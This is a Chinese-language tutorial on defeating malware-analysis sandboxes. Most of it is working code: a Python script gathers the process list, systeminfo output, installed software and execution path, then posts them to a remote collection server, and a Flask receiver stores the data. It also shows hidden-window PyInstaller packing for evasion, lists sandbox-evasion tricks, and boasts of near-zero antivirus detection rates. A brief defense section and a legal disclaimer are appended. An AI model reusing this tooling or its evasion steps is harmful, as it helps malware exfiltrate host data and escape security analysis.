反沙箱技术详解：获取沙箱环境特征与绕过检测

1. 沙箱执行过程概述

沙箱分析通常遵循以下流程：

• 提交可疑文件
• 静态分析（检查文件结构、签名、字符串等）
• 动态分析（在受控环境中执行文件）
• 行为检测（监控文件执行产生的系统变化）
• 生成分析报告

2. 环境信息收集技术

2.1 进程列表获取

使用psutil模块枚举系统进程：

import psutil

def get_process_list():
    process_list = "=== 进程列表 ===\n"
    for proc in psutil.process_iter(['pid', 'name']):
        process_list += f"进程名称: {proc.info['name']}, PID: {proc.info['pid']}\n"
    return process_list

关键点：

• 沙箱环境通常运行特定分析进程（如Cuckoo、JoeSandbox等）
• 普通用户环境进程通常更复杂多样

2.2 系统信息收集

使用systeminfo命令获取详细系统配置：

import subprocess

def get_system_info():
    system_info = "=== 系统信息 ===\n"
    try:
        output = subprocess.check_output("systeminfo", shell=True, text=True)
        system_info += output
    except subprocess.CalledProcessError as e:
        system_info += f"获取系统信息失败: {e}\n"
    return system_info

可识别特征：

• 虚拟机特有的硬件信息（如VMware、VirtualBox）
• 异常的系统运行时间（沙箱通常新启动）
• 异常的内存和CPU配置

2.3 已安装软件检测

使用WMIC命令获取软件列表：

def get_installed_software():
    installed_software = "=== 已安装软件 ===\n"
    try:
        output = subprocess.check_output("wmic product list brief", shell=True, text=True)
        installed_software += output
    except subprocess.CalledProcessError as e:
        installed_software += f"获取已安装软件失败: {e}\n"
    return installed_software

关键指标：

• 沙箱分析工具（如Wireshark、Process Monitor）
• 安全软件（如AV、EDR产品）
• 开发工具（如Python、JDK等）

2.4 执行环境检测

import os

def get_current_directory_and_app_name():
    cwd = os.getcwd()
    exe_name = os.path.basename(__file__)
    return f"当前工作目录: {cwd}\n应用程序名称: {exe_name}\n"

沙箱特征：

• 临时目录路径
• 随机生成的程序名称
• 非常规的执行路径

3. 数据传输实现

3.1 发送端实现

import requests

def send_to_server(data, server_url):
    response = requests.post(server_url, data={'content': data})
    return response

def main():
    # 收集所有信息
    process_info = get_process_list()
    current_info = get_current_directory_and_app_name()
    system_info = get_system_info()
    software_info = get_installed_software()
    content = process_info + current_info + system_info + software_info
    
    # 发送到服务器
    server_url = "http://127.0.0.1:8888/upload"
    response = send_to_server(content, server_url)
    
    # 清理内存
    del content

3.2 接收端实现（Flask）

from flask import Flask, request

app = Flask(__name__)

@app.route('/upload', methods=['POST'])
def upload_data():
    content = request.form.get('content')
    if not content:
        return '没有内容被上传', 400
    
    with open('1.txt', 'w', encoding='utf-8') as f:
        f.write(content)
    return '内容上传成功', 200

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8888)

4. 打包与部署

4.1 Python转EXE

使用PyInstaller打包：

pip install pyinstaller
pyinstaller --onefile --noconsole --clean --strip 发送.py

参数说明：

• --onefile: 打包为单个可执行文件
• --noconsole: 不显示控制台窗口
• --clean: 清理临时文件
• --strip: 去除调试符号

4.2 C++实现优化

对于更高级的免杀：

1. 使用C++编写核心功能
2. 使用g++编译
3. 使用strip去除调试信息：

   strip --strip-all 可执行文件
   

5. 反沙箱策略

根据收集的环境信息，可实施以下反沙箱技术：

5.1 环境检测绕过

• 虚拟机检测：检查特定硬件、驱动或注册表项
• 进程检测：发现分析工具进程时终止执行
• 时间检测：检测异常的执行速度（沙箱可能加速执行）

5.2 行为混淆

• 延迟执行：添加无害的长时间循环
• 用户交互模拟：等待鼠标移动或点击事件
• 环境依赖：检查网络连接、显示器分辨率等

5.3 结果验证

测试结果示例：

• 微步沙箱：0/27检测率
• VirusTotal：1/73检测率

6. 防御措施

针对此类技术，防御方可以：

1. 环境伪装：模拟真实用户环境特征
2. 行为混淆：随机化分析环境配置
3. 多维度检测：结合静态和动态分析
4. 时间随机化：模拟真实的时间流逝

7. 法律与道德声明

本文所述技术仅用于安全研究和防御目的。未经授权的系统渗透测试是违法行为。安全研究人员应在合法授权范围内进行测试，并遵守相关法律法规。